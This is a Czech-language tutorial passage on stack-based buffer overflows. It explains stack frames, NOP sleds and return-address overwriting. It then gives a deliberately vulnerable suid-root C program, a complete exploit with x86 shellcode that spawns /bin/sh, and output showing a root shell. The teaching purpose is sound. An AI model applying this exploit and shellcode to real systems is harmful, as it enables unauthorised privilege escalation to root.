Přetečení zásobníku
Vraťme se ještě k poslednímu příkladu. Když se zavolá funkce overflow_
function(), vytvoří se na stacku rámec zásobníku. Když je funkce poprvé
zavolána, rámec zásobníku vypadá zhruba takto:
buffer
stack frame pointer
(sfp)
návratová adresa (ret)
*str (argument funkce)
zbytek zásobníku
Když se funkce pokusí zapsat 128 bajtů dat do 20bajtového bufferu, zbývajících
108 bajtů přepíše ukazatel na rámec, návratovou adresu a argument str. Když
funkce skončí, program se pokusí skočit na návratovou adresu, která je nyní
vyplněna samými A, což je hexadecimálně 0x41. Program se pokusí vrátit na adresu
0x41414141 (tedy nastavit EIP na tuto hodnotu), což je neplatná adresa v
paměťovém prostoru nebo tato část paměti obsahuje neplatné instrukce, v každém
případě způsobí pád a ukončení programu. Tomuto se říká přetečení zásobníku (
stack-based overflow), protože přetečení nastane v paměťovém segmentu stack.
Přetečení mohou nastat i v jiných segmentech paměti, jako je třeba halda nebo
segment bss, ale to, co je na přetečení zásobníku nejzajímavější, je fakt, že se
přepisuje návratová adresa. Na program padajícímu kvůli této chybě není nic tak
zajímavého, ale na důvodu proč ve skutečnosti padá už ano. Kdyby byla návratová
hodnota řízeně přepsána jinou hodnotou než je 0x41414141, jako třeba adresou
platného spustitelného kódu v paměti, tak by se tam program „vrátil“ a tento kód
by spustil místo toho, aby se zhroutil. A pokud jsou data, která přetečou přes
návratovou adresu, založena na uživatelském vstupu, jako je třeba hodnota zadaná
do políčka pro uživatelské jméno, návratová adresa a tím i následující tok
vykonávání programu může být řízen uživatelem. Protože je možné změnit
návratovou adresu a tok vykonávání zneužitím přetečení bufferu, vše, co nyní
potřebujeme, je něco užitečného spustit. Zde vstupuje na scénu infekce kódu (
bytecode infection). Tím je chytře navržený kus assemblerovského kódu, který
může být vložen do bufferu. Takový kód má několik omezení: kód musí být
samostatný a nesmí obsahovat speciální znaky v instrukcích, protože by měl
vypadat jako data v bufferu. Jedním z nejpoužívanějších typu kódu je tzv.
shellkód ( shellcode), který spouští shell (příkazový interpret). Jestliže se
útočníkovi povede obelstít nějaký suid root program tak, aby spustil shellkód,
získá tak plná rootovská práva nad celým systémem. Zde je příklad:
Výpis: vuln.c
int main(int argc, char *argv[])
{
char buffer[500];
strcpy(buffer, argv[1]);
return 0;
}
Toto je část zranitelného programu, podobná funkci overflow_function(), neboť se
také snaží zkopírovat blok dat, na který ukazuje argument, do 500 bajtů velkého
bufferu, bez ohledu na to, co může argument obsahovat. Po kompilaci a spuštění
tohoto programu získáme celkem nezajímavé výsledky:
$ gcc -o vuln vuln.c
$ ./vuln test
Jak vidíte, program neudělá nic viditelného, kromě přepisu paměti. Teď program uděláme opravdu zranitelný tím, že předáme vlastnictví rootovi a nastavíme suid bit:
$ sudo chown root vuln
$ sudo chmod +s vuln
$ ls -l vuln
-rwsr-sr-x 1
root users 4933 Sep 5 15:22 vuln
Nyní když je z vuln suid root program zranitelný na přetečení paměti, vše co
potřebujeme, je jen vygenerovat kus kódu, který bychom programu podvrhli. Tento
buffer by měl obsahovat požadovaný shellkód a měl by přepsat návratovou adresu
na stack tak, že se při skončení funkce spustí uvedený shellkód. To znamená, že
adresa shellkódu musí být předem známá, což může být v dynamickém zásobníku
poněkud složité. Aby to nebylo tak jednoduché, 4 bajty návratové adresy uložené
v rámci zásobníku musí být přepsány touto adresou. I když je známá adresa, ale
není přepsaná správná oblast, program spadne a ukončí se. Pro rozlousknutí toho
oříšku se používají dvě známé techniky. První se říká NOP sled ( NOP je zkratka
pro no operation). To je jednobajtová instrukce, která nedělá vůbec nic. Občas
se používá pro vyplýtvání výpočetních cyklů pro časovací účely a jsou nezbytné v
procesorech Sparc kvůli pipeliningu instrukcí. V našem případě nám tato
instrukce poslouží jinak. Vytvoříme velké pole NOPů a umístíme jej před
shellkódem, Jestliže se EIP vrátí na nějakou adresu vně NOP sledu, EIP se bude
neustále inkrementovat o jedníčku, až nakonec vykoná shellkód. Druhou technikou
je zaplnění konce bufferu mnoha po sobě jdoucích návratových adres.
Takto bude vypadat náš vytvořený buffer:
NOP sled Shellkód Opakovaná
návratová adresa
U obou těchto technik je zapotřebí znát alespoň přibližné
umístění bufferu v paměti, abychom mohli uhodnout návratovou adresu. Jedna
možnost, jak aproximovat umístění v paměti, je použít aktuální ukazatel na
zásobník (registr ESP) jako vodítko. Odečtením tzv. offsetu ( posunutí v paměti)
od ESP získáme relativní adresu libovolné proměnné. Protože je ve zranitelném
programu prvním prvkem na zásobníku buffer, který se přepíše shellkódem, správná
návratová adresa by měla být pointer na zásobník, takže offset by měl být blízko
0. NOP sled je užitečný při exploitování komplikovanějších programů, když offset
není 0. Následuje kód exploitu, navržený tak, aby vytvořil buffer, vložil jej do
zranitelného programu a donutil jej spustit vložený shellkód. Kód nejprve vezme
aktuální ukazatel na zásobník a odečte od něj offset. V tomto případě je offset
0. Paměť pro buffer je alokovaná (na haldě) a celý buffer je vyplněný NOPy (ve
strojovém jazyce má tato instrukce hodnotu 0x90). Shellkód je umístěný za NOPy a
poslední část bufferu je vyplněna návratovou hodnotou. Protože se konec
znakového bufferu označuje nulovým bajtem, je tento buffer také ukončený znakem
0.
Výpis: exploi t .c
#include <stdlib.h>
char shellcode[] =
"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0"
"\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d"
"\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73"
"\x68";
unsigned long sp(void) // krátka funkce k získáni
{ __asm__("movl %esp,
%eax");} // ukazatele na zásobník
int main(int argc, char *argv[])
{
int i, offset;
long esp, ret, *addr_ptr;
char *buffer, *ptr;
offset =
0; // offset je 0
esp = sp(); // vložíme ukazatel na zásobník do esp
ret =
esp - offset; // přepíšeme návratovou adresu
printf(" Ukazatel na zásobník
(ESP) : 0x%x\n", esp);
printf(" Offset z ESP : 0x%x\n", offset);
printf("Požadovaná návratová adresa : 0x%x\n", ret);
// Alokuj 600 bajtů pro
buffer (na haldě)
buffer = malloc(600);
// Vyplň celý buffer požadovanou
návratovou adresou
ptr = buffer;
addr_ptr = (long *) ptr;
for(i=0; i <
600; i+=4)
{ *(addr_ptr++) = ret; }
// Vyplň prvních 200 bajtů bufferu instrukcemi NOP
for(i=0; i < 200; i++)
{ buffer[i] = '\x90'; }
// Vlož shellkód za NOP sled
ptr = buffer + 200;
for(i=0; i < strlen(shellcode); i++)
{ *(ptr++) = shellcode[i]; }
//
Ukonči řetězec
buffer[600-1] = 0;
// Nyní zavolej program ./vuln s novým
bufferem jako jeho argumentem
execl("./vuln", "vuln", buffer, 0);
//
Uvolni paměť
free(buffer);
return 0;
}
Tady jsou výsledky kompilace a spuštění exploitu:
$ gcc -o exploit exploit.c
$ ./exploit
Ukazatel na zásobník (ESP) : 0xbffff978
Offset z ESP : 0x0
Požadovaná návratová adresa : 0xbffff978
sh-2.05a# whoami
root
sh-2.05a#
Podle všeho to funguje. Návratová adresa v rámci zásobníku byla
přepsaná hodnotou 0xbffff978, což se zdá být adresou NOP sledu a shellkódu.
Protože se jednalo o suid root program a shellkód byl navržen tak, aby (jak už z
názvu napovídá) útočníkovi spustil shell, zranitelný program spustil shellkód
jako root, ačkoliv měl původní program pouze zkopírovat data a ukončit se.